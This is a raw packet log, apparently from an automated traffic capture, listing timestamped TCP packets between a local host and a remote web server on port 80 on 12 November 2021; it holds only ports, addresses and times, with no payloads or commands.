Nov 12, 2021 22:23:52.307898998 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307933092 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.307944059 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.308078051 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.308162928 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.308216095 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.308278084 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.318216085 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.330768108 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330794096 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330806971 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330817938 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330832958 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330847979 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330854893 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330862045 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.330862999 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.330946922 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.331307888 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331321001 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331337929 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331351995 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331418991 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331422091 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331428051 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331435919 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.331959009 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.340837955 CET	80	49943	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.340992928 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.341676950 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.353516102 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.353528976 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.353560925 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.353570938 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.356133938 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.356208086 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.364806890 CET	80	49943	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.367495060 CET	80	49943	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.367575884 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.475280046 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.475693941 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.477699041 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.499017000 CET	80	49943	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.499051094 CET	80	49942	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.499167919 CET	49943	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.499217987 CET	49942	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.501955986 CET	80	49944	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.502106905 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.502800941 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.525417089 CET	80	49944	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.528734922 CET	80	49944	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.528831005 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.643078089 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.643923998 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.668179035 CET	80	49944	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.668203115 CET	80	49945	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.668324947 CET	49944	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.668453932 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.669173002 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.693202972 CET	80	49945	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.697014093 CET	80	49945	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.697118998 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.748508930 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.750094891 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.773085117 CET	80	49945	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.773092031 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.773192883 CET	49945	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.773263931 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.774061918 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.774396896 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.774677992 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.774816990 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.797260046 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797285080 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797297001 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797306061 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797312021 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797321081 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.797426939 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.797475100 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.802278996 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.802393913 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.817639112 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.820065975 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820080996 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820090055 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820130110 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820142031 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820152998 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.820239067 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.820295095 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.820947886 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.821037054 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.826987028 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.827008963 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.827069998 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.827111959 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.827557087 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.841161013 CET	80	49947	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.841315031 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843247890 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843250990 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843266010 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843274117 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843328953 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843354940 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843355894 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843369007 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843369961 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843383074 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843394041 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843394995 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843420982 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843431950 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843432903 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843437910 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843441963 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843446016 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.843477011 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843512058 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.843518019 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.845314980 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.845387936 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.849592924 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.849608898 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.849656105 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.849658966 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.849673033 CET	80	49946	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.849675894 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.849699020 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.849730015 CET	49946	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.868031025 CET	80	49947	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.868051052 CET	80	49947	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.868165970 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.974107027 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.976068974 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:52.998049021 CET	80	49947	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:52.998199940 CET	49947	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.002798080 CET	80	49948	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.002913952 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.004031897 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.029618025 CET	80	49948	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.029639006 CET	80	49948	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.029722929 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.142971039 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.144138098 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.166606903 CET	80	49948	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.166640043 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.166713953 CET	49948	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.166794062 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.167527914 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.190242052 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.190277100 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.190293074 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.190376043 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.207425117 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.207549095 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.207808018 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.207988024 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.230341911 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230364084 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230380058 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230465889 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.230488062 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230504990 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230508089 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.230521917 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.230551004 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.230602026 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253103018 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253129959 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253145933 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253192902 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253230095 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253264904 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253292084 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253295898 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253340960 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253351927 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253360033 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253376961 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253391981 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.253423929 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.253452063 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.256530046 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.256676912 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.275968075 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.275995970 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276011944 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276068926 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276086092 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276120901 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.276176929 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.276372910 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276398897 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276406050 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276773930 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276814938 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276870012 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.276976109 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.277019978 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.277183056 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.278439999 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.278464079 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.278480053 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.280097961 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.280189991 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.298827887 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.298854113 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.298870087 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.298988104 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.299005032 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.299020052 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.299201965 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.301557064 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.304981947 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.305916071 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.325073957 CET	80	49950	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.347721100 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.349231005 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.372003078 CET	80	49950	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.375021935 CET	80	49950	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.375221014 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.487163067 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.487420082 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.488584042 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.510982990 CET	80	49951	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.511010885 CET	80	49949	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.511024952 CET	80	49950	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.511133909 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.511166096 CET	49949	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.511193037 CET	49950	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.511847973 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.534157038 CET	80	49951	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.537736893 CET	80	49951	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.539388895 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.642254114 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.654090881 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.664998055 CET	80	49951	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.665523052 CET	49951	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.677179098 CET	80	49952	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.678968906 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.679697037 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.696918964 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.702364922 CET	80	49952	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.705554008 CET	80	49952	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.705653906 CET	49952	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.719372034 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.721164942 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.721901894 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.722143888 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.722384930 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.722665071 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.745224953 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745249033 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745258093 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745274067 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745282888 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745290041 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745297909 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745309114 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745317936 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745328903 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745337963 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745348930 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.745378017 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.745465994 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.767735004 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767755032 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767796993 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767812014 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767824888 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767868042 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.767910957 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.767961979 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767976046 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767985106 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.767992973 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768002033 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768012047 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768022060 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768030882 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768043995 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768052101 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768059969 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768085003 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.768090963 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768105030 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768121004 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.768203974 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.768259048 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790225029 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790242910 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790378094 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790395021 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790411949 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790424109 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790504932 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790518999 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790530920 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790530920 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790543079 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790556908 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790570974 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790585041 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790589094 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790596962 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790610075 CET	49953	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:23:53.790611029 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790625095 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790636063 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790649891 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790662050 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790674925 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790688038 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790699005 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790802002 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790815115 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790826082 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790838003 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790848970 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790860891 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.790874958 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791196108 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791208982 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791220903 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791233063 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791243076 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791254997 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791268110 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791280985 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791295052 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791306973 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.791318893 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.812690973 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.812711954 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.812979937 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.813030958 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.813150883 CET	80	49953	178.208.83.45	192.168.2.4
Nov 12, 2021 22:23:53.813165903 CET	80	49953	178.208.83.45	192.168.2.4
